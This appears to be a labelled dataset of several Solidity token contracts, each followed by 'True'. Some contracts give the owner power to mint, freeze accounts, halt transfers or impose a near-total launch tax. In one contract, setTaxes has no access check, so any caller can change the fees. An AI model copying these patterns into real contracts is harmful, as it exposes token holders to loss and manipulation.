(!isTxLimitExempt[recipient]) checkWalletLimit(recipient, amount); } if(!launched()){ require(liquidityProviders[sender] || liquidityProviders[recipient], "Contract not launched yet."); } _balances[sender] -= amount; uint256 amountReceived = shouldTakeFee(sender) && shouldTakeFee(recipient) ? takeFee(sender, recipient, amount) : amount; if(shouldSwapBack(recipient)){ if (amount > 0) swapBack(amount); } _balances[recipient] += amountReceived; if(launched() && protectionEnabled) antisnipe.onPreTransferCheck(sender, recipient, amount); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } function checkWalletLimit(address recipient, uint256 amount) internal view { uint256 walletLimit = _maxWalletSize; require(_balances[recipient] + amount <= walletLimit, "Transfer amount exceeds the bag size."); } function checkTxLimit(address sender, uint256 amount) internal view { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function setLiquidityProvider(address _provider) external onlyOwner { isFeeExempt[_provider] = true; liquidityProviders[_provider] = true; isTxLimitExempt[_provider] = true; } function getTotalFee(bool selling, bool inHighPeriod) public view returns (uint256) { if(launchedAt + 1 >= block.number){ return feeDenominator - 1; } if (selling) return inHighPeriod ? (totalFee * sellPercent) / 100 : totalFee + sellBias; return inHighPeriod ? (totalFee * sellPercent) / 100 : totalFee - sellBias; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = (amount * getTotalFee(liquidityPools[recipient], !liquidityPools[sender] && lastBuy[sender] + sellPeriod > block.timestamp)) / feeDenominator; if (liquidityPools[sender] && lastBuy[recipient] == 0) lastBuy[recipient] = block.timestamp; _balances[address(this)] += feeAmount; emit Transfer(sender, address(this), feeAmount); return amount - feeAmount; } function shouldSwapBack(address recipient) internal view returns (bool) { return !liquidityPools[msg.sender] && !isFeeExempt[msg.sender] && !inSwap && swapEnabled && liquidityPools[recipient] && _balances[address(this)] >= swapMinimum && totalFee > 0; } function swapBack(uint256 amount) internal swapping { uint256 amountToSwap = amount < swapThreshold ? amount : swapThreshold; if (_balances[address(this)] < amountToSwap) amountToSwap = _balances[address(this)]; uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee; uint256 amountToLiquify = ((amountToSwap * dynamicLiquidityFee) / totalFee) / 2; amountToSwap -= amountToLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 balanceAfter = address(this).balance - balanceBefore; uint256 totalETHFee = totalFee - dynamicLiquidityFee / 2; uint256 amountLiquidity = (balanceAfter * dynamicLiquidityFee) / totalETHFee / 2; //uint256 amountReflection = (balanceAfter * reflectionFee) / totalETHFee; uint256 amountMarketing = (balanceAfter * marketingFee) / totalETHFee; uint256 amountDev = (balanceAfter * devFee) / totalETHFee; if(amountToLiquify > 0) { router.addLiquidityETH{value: amountLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountLiquidity, amountToLiquify); } if (amountMarketing > 0) marketingFeeReceiver.transfer(amountMarketing); if (amountDev > 0) devFeeReceiver.transfer(amountDev); } function buyBack(uint256 _percent, bool _burn) external onlyOwner { uint256 purchase = (address(this).balance * _percent) / 100; address deliverTo = _burn ? DEAD : msg.sender; address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: purchase}( 0, path, deliverTo, block.timestamp + 300 ); } function setSellPeriod(uint256 _sellPercentIncrease, uint256 _period) external onlyOwner { require((totalFee * _sellPercentIncrease) / 100 <= 400, "Sell tax too high"); require(_period <= 7 days, "Sell period too long"); sellPercent = _sellPercentIncrease; sellPeriod = _period; } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() external onlyOwner { require (launchedAt == 0); launchedAt = block.number; launchedTime = block.timestamp; } function setTxLimit(uint256 numerator, uint256 divisor) external onlyOwner { require(numerator > 0 && divisor > 0 && (numerator * 1000) / divisor >= 5); _maxTxAmount = (_totalSupply * numerator) / divisor; } function setMaxWallet(uint256 numerator, uint256 divisor) external onlyOwner() { require(divisor > 0 && divisor <= 10000); _maxWalletSize = (_totalSupply * numerator) / divisor; } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _devFee, uint256 _sellBias, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; reflectionFee = _reflectionFee; marketingFee = _marketingFee; devFee = _devFee; sellBias = _sellBias; totalFee = _liquidityFee + _reflectionFee + _marketingFee + _devFee; feeDenominator = _feeDenominator; require(totalFee <= feeDenominator / 4); require(sellBias <= totalFee); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner { if (autoLiquidityReceiver != DEAD) autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = payable(_marketingFeeReceiver); } function setDevReceiver(address _dev) external onlyOwner { devFeeReceiver = payable(_dev); } function setSwapBackSettings(bool _enabled, uint256 _denominator, uint256 _denominatorMin) external onlyOwner { require(_denominator > 0 && _denominatorMin > 0); swapEnabled = _enabled; swapMinimum = _totalSupply / _denominatorMin; swapThreshold = _totalSupply / _denominator; } function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner { targetLiquidity = _target; targetLiquidityDenominator = _denominator; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply - (balanceOf(DEAD) + balanceOf(ZERO)); } function getLiquidityBacking(uint256 accuracy) public view returns (uint256) { return (accuracy * balanceOf(pair)) / getCirculatingSupply(); } function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) { return getLiquidityBacking(accuracy) > target; } function addLiquidityPool(address _pool, bool _enabled) external onlyOwner { liquidityPools[_pool] = _enabled; } function airdrop(address[] calldata _addresses, uint256[] calldata _amount) external onlyOwner { require(_addresses.length == _amount.length); bool previousSwap = swapEnabled; swapEnabled = false; for (uint256 i = 0; i < _addresses.length; i++) { require(!liquidityPools[_addresses[i]]); _transferFrom(msg.sender, _addresses[i], _amount[i] * (10 ** _decimals)); } swapEnabled = previousSwap; } event AutoLiquify(uint256 amount, uint256 amountToken); //C U ON THE MOON }

True

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pragma solidity ^0.4.24; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract Stopped is owned { bool public stopped = true; modifier noStopped { assert(!stopped); _; } function start() onlyOwner public { stopped = false; } function stop() onlyOwner public { stopped = true; } } contract MathTCT { function add(uint256 x, uint256 y) constant internal returns(uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns(uint256 z) { assert((z = x - y) <= x); } } contract TokenERC20 { function totalSupply() constant public returns (uint256 supply); function balanceOf(address who) constant public returns (uint256 value); function allowance(address owner, address spender) constant public returns (uint256 _allowance); function transfer(address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract TCT is owned, Stopped, MathTCT, TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); event Burn(address from, uint256 value); constructor(string _name, string _symbol) public { totalSupply = 200000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = _name; symbol = _symbol; } function totalSupply() constant public returns (uint256) { return totalSupply; } function balanceOf(address who) constant public returns (uint) { return balanceOf[who]; } function allowance(address owner, address spender) constant public returns (uint256) { return allowance[owner][spender]; } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] = sub(balanceOf[_from], _value); balanceOf[_to] = add(balanceOf[_to], _value); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) noStopped public returns(bool) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) noStopped public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) noStopped public returns (bool success) { require(!frozenAccount[msg.sender]); require(!frozenAccount[_spender]); allowance[msg.sender][_spender] = _value; return true; } function mintToken(address target, uint256 mintedAmount) noStopped onlyOwner public { balanceOf[target] = add(balanceOf[target], mintedAmount); totalSupply = add(totalSupply, mintedAmount); emit Transfer(0, target, mintedAmount); } function freezeAccount(address target, bool freeze) noStopped onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function burn(uint256 _value) noStopped public returns (bool success) { require(!frozenAccount[msg.sender]); require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = sub(balanceOf[msg.sender], _value); totalSupply = sub(totalSupply, _value); emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) noStopped public returns (bool success) { require(!frozenAccount[msg.sender]); require(!frozenAccount[_from]); require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] = sub(balanceOf[_from], _value); allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value); totalSupply = sub(totalSupply, _value); emit Burn(_from, _value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract PerryThePlatypus is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Perry the Platypus"; string private constant _symbol = "PERRY"; uint8 private constant _decimals = 9; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant _tTotal = 1000 * 1e5 * 1e9; // 100,000,000 uint256 private _firstBlock; uint256 private _botBlocks; uint256 public _maxWalletAmount = 4000 * 1e3 * 1e9; // 4,000,000 // fees uint256 public _liquidityFeeOnBuy = 0; uint256 public _marketingFeeOnBuy = 7; uint256 public _liquidityFeeOnSell = 6; uint256 public _marketingFeeOnSell = 3; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private _previousMarketingFee = _marketingFee; uint256 private _liquidityFee; uint256 private _marketingFee; struct FeeBreakdown { uint256 tLiquidity; uint256 tMarketing; uint256 tAmount; } mapping(address => bool) private bots; address payable private _marketingAddress = payable(0x620ab81bE2772D429edA6478F0167ce720A33896); address payable private _deployWallet = payable(0x620ab81bE2772D429edA6478F0167ce720A33896); IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; uint256 public swapAmount; bool private tradingOpen = false; bool private inSwap = false; event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); swapAmount = 100000 * 1e9; _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_deployWallet] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (_marketingFee == 0 && _liquidityFee == 0) return; _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; _marketingFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _liquidityFee = _previousLiquidityFee; _marketingFee = _previousMarketingFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takeFee = true; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { require(tradingOpen); if (from == uniswapV2Pair && to != address(uniswapV2Router)) { require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !bots[to]) { _liquidityFee = _liquidityFeeOnBuy; _marketingFee = _marketingFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _liquidityFee = _liquidityFeeOnSell; _marketingFee = _marketingFeeOnSell; } if (!inSwap && from != uniswapV2Pair) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > swapAmount) { swapAndLiquify(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable _deployWallet, block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee)); // split the contract balance into halves uint256 half = autoLPamount.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf); addLiquidity(half, newBalance); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function manualSwap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); if (contractBalance > 0) { swapTokensForEth(contractBalance); } } function manualSend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) { removeAllFee(); } _transferStandard(sender, recipient, amount); restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { FeeBreakdown memory fees; fees.tMarketing = amount.mul(_marketingFee).div(100); fees.tLiquidity = amount.mul(_liquidityFee).div(100); fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(fees.tAmount); _balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity)); emit Transfer(sender, recipient, fees.tAmount); } receive() external payable {} function setMaxWalletAmount(uint256 maxWalletAmount) external onlyOwner() { require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply"); require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply"); _maxWalletAmount = maxWalletAmount; } function setSwapAmount(uint256 _swapAmount) external { require(_msgSender() == _deployWallet || _msgSender() == _marketingAddress); swapAmount = _swapAmount; } function setTaxes(uint256 marketingFee, uint256 liquidityFee) external { uint256 totalFee = marketingFee.add(liquidityFee); require(totalFee < 25, "Sum of fees must be less than 25"); _marketingFee = marketingFee; _liquidityFee = liquidityFee; _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; emit FeesUpdated(_marketingFee, _liquidityFee); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-26 */ // SPDX-License-Identifier: Unlicensed /** * #Quantum Shift features: 5% fee auto added to the liquidity pool and locked forever 5% fee auto distributed to all holders */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 